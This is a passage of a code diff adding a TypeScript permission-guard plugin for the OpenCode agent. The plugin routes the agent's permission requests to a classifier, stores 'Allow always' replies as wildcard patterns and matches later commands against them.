+ readonly type: "permission.replied"
105
+ readonly data: { readonly requestID: string; readonly reply: "once" | "always" | "reject" }
106
+ }
107
+
108
+ export type PermissionEvent = AskedEvent | RepliedEvent
109
+
110
+ const within = (directory: string, root: string) =>
111
+ directory === root || directory.startsWith(root.endsWith("/") ? root : `${root}/`)
112
+
113
+ /**
114
+ * Records "Allow always" replies to prompts raised by this plugin. Uses the patterns OpenCode
115
+ * proposed for saving (for example `git push *`), falling back to the exact resources.
116
+ */
117
+ export const watchApprovals = async (
118
+ events: AsyncIterable<PermissionEvent>,
119
+ approvals: ApprovalStore,
120
+ projectDirectory: string,
121
+ ) => {
122
+ const pending = new Map<string, { action: string; patterns: ReadonlyArray<string> }>()
123
+ for await (const event of events) {
124
+ if (event.type === "permission.asked") {
125
+ const { data, location } = event
126
+ if (!data.message?.startsWith(MESSAGE_PREFIX)) continue
127
+ if (location && !within(location.directory, projectDirectory)) continue
128
+ pending.set(data.id, {
129
+ action: data.action,
130
+ patterns: data.save && data.save.length > 0 ? data.save : data.resources,
131
+ })
132
+ continue
133
+ }
134
+ const request = pending.get(event.data.requestID)
135
+ if (!request) continue
136
+ pending.delete(event.data.requestID)
137
+ if (event.data.reply === "always") await approvals.approve(request.action, request.patterns)
138
+ }
139
+ }
package/src/index.ts ADDED
@@ -0,0 +1,44 @@
1
+ import { Plugin } from "@opencode/plugin"
2
+ import { createApprovalStore } from "./approvals.ts"
3
+ import { classify } from "./clef.ts"
4
+ import { parseConfig } from "./config.ts"
5
+ import { createGuard, watchApprovals, type PermissionEvent } from "./guard.ts"
6
+
7
+ export default Plugin.define({
8
+ id: "clef-guard",
9
+ async setup(ctx) {
10
+ const config = parseConfig(ctx.options, process.env)
11
+ if (!config.ok) console.error(`[clef-guard] ${config.error}; judged actions will ask for approval`)
12
+ else if (!config.config.credentials) {
13
+ console.error("[clef-guard] CLOUDFLARE_ACCOUNT_ID or CLOUDFLARE_API_TOKEN is not set; judged actions will ask")
14
+ }
15
+
16
+ const approvals = createApprovalStore(ctx.storage, ctx.location.project.id)
17
+ const guard = createGuard({
18
+ config,
19
+ directory: ctx.location.directory,
20
+ approvals,
21
+ classify: (request) =>
22
+ config.ok && config.config.credentials
23
+ ? classify(request, { ...config.config, credentials: config.config.credentials })
24
+ : Promise.reject(new Error("Clef is not configured")),
25
+ onError: (error) => console.error("[clef-guard] assessment failed:", error),
26
+ })
27
+
28
+ const registration = await ctx.permission.hook("evaluate", guard)
29
+
30
+ const controller = new AbortController()
31
+ const events = ctx.event.subscribe({
32
+ types: ["permission.asked", "permission.replied"],
33
+ signal: controller.signal,
34
+ }) as AsyncIterable<PermissionEvent>
35
+ void watchApprovals(events, approvals, ctx.location.project.directory).catch((error) => {
36
+ if (!controller.signal.aborted) console.error("[clef-guard] approval watcher stopped:", error)
37
+ })
38
+
39
+ return async () => {
40
+ controller.abort()
41
+ await registration.dispose()
42
+ }
43
+ },
44
+ })
package/src/pattern.ts ADDED
@@ -0,0 +1,14 @@
1
+ const escape = (char: string) => char.replace(/[.+^${}()|[\]\\]/g, "\\$&")
2
+
3
+ const toRegExp = (pattern: string) =>
4
+ new RegExp(`^${[...pattern].map((char) => (char === "*" ? ".*" : char === "?" ? "." : escape(char))).join("")}$`, "s")
5
+
6
+ /**
7
+ * Whole-value wildcard match, mirroring OpenCode permission rules: `*` matches any run of
8
+ * characters, `?` exactly one, and a pattern ending in ` *` also matches the bare command.
9
+ */
10
+ export const matches = (pattern: string, value: string): boolean =>
11
+ toRegExp(pattern).test(value) || (pattern.endsWith(" *") && pattern.slice(0, -2) === value)
12
+
13
+ export const allCovered = (patterns: ReadonlyArray<string>, resources: ReadonlyArray<string>): boolean =>
14
+ resources.length > 0 && resources.every((resource) => patterns.some((pattern) => matches(pattern, resource)))